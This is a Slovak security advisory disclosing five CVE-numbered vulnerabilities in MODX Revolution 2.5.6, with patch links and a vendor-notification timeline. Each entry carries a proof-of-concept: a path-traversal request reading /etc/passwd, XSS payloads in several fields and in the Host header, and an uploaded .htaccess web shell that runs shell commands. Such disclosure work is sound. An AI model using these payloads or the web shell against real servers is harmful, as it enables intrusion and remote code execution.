11 január 2018 / 3 minúty čítania
Modx Revolution je skvelé CMS, ktoré je Open Source, užívateľsky prívetivé a jednoduché na použitie. Avšak, vo verzii 2.5.6 a nižších sme identifikovali viacero bezpečnostných zraniteľností.
Útočník dokáže načítať a vykonať ľubovoľný súbor na serveri vďaka nedostatočnej filtrácii používateľom zadaného argumentu action
. Avšak útočník dokáže zneužiť túto zraniteľnosť iba v prípade, že server používa PHP verzie 5.3.3, čo je minimálna podporovaná verzia PHP pre Modx Revolution 2.5.6.
Požiavka, pri ktorej je načitaný (a vykonaný) súbor /etc/passwd
:
GET /setup/index.php?action=../../../../../../../etc/passwd%00 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Cookie: PHPSESSID=20410ami2ep7vpa0bt33bcv464
Patch: https://github.com/modxcms/revolution/pull/13422
https://github.com/modxcms/revolution/pull/13428
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9067
Útočník dokáže vykonať útok typu Reflected XSS vložením nebezpečných znakov do niekoľkých položiek na stránke inštalácie.
GET /setup/index.php?action=database&database_type=<strong><script>alert(1)<script> HTTP/1.1
Host: localhost
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: modx_setup_language=en; PHPSESSID=20410ami2ep7vpa0bt33bcv464
Patch:
https://github.com/modxcms/revolution/pull/13424
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9068
Používateľ CMS s oprávnením nahrávať súbory dokáže vykonávať ľubovoľný serverový kód. CMS blokuje súbory s nebezpečnou príponou, akými su napríklad .php
alebo .exe
avšak súbor s príponou .htaccess
je povolený. Používateľ teda dokáže nahrať súbor s názvom .htaccess
do špecifikovaného priečinka. Tento súbor môže obsahovať php kód, ktorý je pripojený ku každému požadovanému súboru s príponou .php
v danom priečinku.
Možný scenár:
1, Útočník sa prihlási do Modx Revolution
2, Útočník nahrá súbor s názvom .htaccess
a nasledujúcim obsahom:
php_value auto_prepend_file .htaccess
php_value output_buffering 1
###### SHELL ###### <?php ob_clean(); if ($_GET['c'] != '') { passthru($_GET['c']."
3, Útočník následne navštívi URL http://localhost/?c=ls%20-al
, pričom dostáva nasledujúci výstup:
total 29252
drwxrwxrwx 2 root root 0 Apr 10 15:45 .
drwxrwxrwx 2 root root 0 Apr 7 13:51 ..
-rwxrwxrwx 1 root root 244 Apr 10 15:44 .htaccess
drwxrwxrwx 2 root root 0 Mar 29 11:53 assets
-rwxrwxrwx 1 root root 294 Mar 29 11:53 config.core.php
drwxrwxrwx 2 root root 0 Mar 29 11:50 connectors
drwxrwxrwx 2 root root 0 Mar 29 11:53 core
-rwxrwxrwx 1 root root 198719 Mar 23 16:24 dump.sql
-rwxrwxrwx 1 root root 3441 Mar 28 08:42 ht.access
-rwxrwxrwx 1 root root 1922 Mar 28 08:42 index.php
drwxrwxrwx 2 root root 0 Mar 29 11:50 manager
drwxrwxrwx 2 root root 0 Apr 3 11:13 setup
Patch:
https://github.com/modxcms/revolution/pull/13423
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9069
Pouzívateľ CMS s oprávnením upravovať príspevky dokáže vložiť ľubovoľný skript do názvu nejakého príspevku. Tento skript je vykonaný pri každom zobrazení tohto príspevku.
Požiavka, pri ktorej je vytvorený príspevok s názvom, ktorý obsahuje podstrčený skript:
POST /connectors/index.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3823
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfuNRFVB7kulIsnU4
Cookie: PHPSESSID=vicnm3b9laomhm7pllfgnbdf95
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="pagetitle"
<strong>home'"><svg/onload=alert(document.domain)//</strong>
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="longtitle"
Congratulations!
------WebKitFormBoundaryfuNRFVB7kulIsnU4
Content-Disposition: form-data; name="description"
...
Keď používateľ navštívi daný príspevok, zobrazí sa mu hlásenie s aktuálnou doménou.
Patch:
https://github.com/modxcms/revolution/pull/13415
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9070
Útočník dokáže vykonať útok typu XSS vložením nebezpečných znakov do hlavičky HOST. Avšak, prevedenie tohto útoku je málo pravdepodobné. Útočník musí použiť napríklad techniku Cache Poisoning.
Požiadavka s podstrčeným skriptom v hlavičke HOST:
GET / HTTP/1.1
Host: localhost"<svg onload=alert(1)>
Connection: close
Content-Length: 0
Patch:
https://github.com/modxcms/revolution/pull/13426
CVE:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9071
Modx Revolution 2.5.7 obsahuje záplaty na všetky spomínané zraniteľnosti, odporúčame preto aktualizovať CMS na najnovšiu verziu.
29.3.2017 Dodávateľ bol informovaný o uvedených zraniteľnostiach
21.4.2017 Dodávateľ vydal novú verziu Modx Revolution s opravenými zraniteľnostiami
26.4.2017 Zverejnené zraniteľnosti
18.5.2017 Priradené CVE
Tieto chyby našiel Tomáš Melicher zo spoločnosti Citadelo.
https://forums.modx.com/thread/102084/modx-revolution-2-5-7-a-little-more-secure
https://raw.githubusercontent.com/modxcms/revolution/v2.5.7-pl/core/docs/changelog.txt
Všetky články
Prihláste sa k odberu nášho newslettera a získajte všetky dôležité novinky v oblasti kybernetickej bezpečnosti a etického hackovania.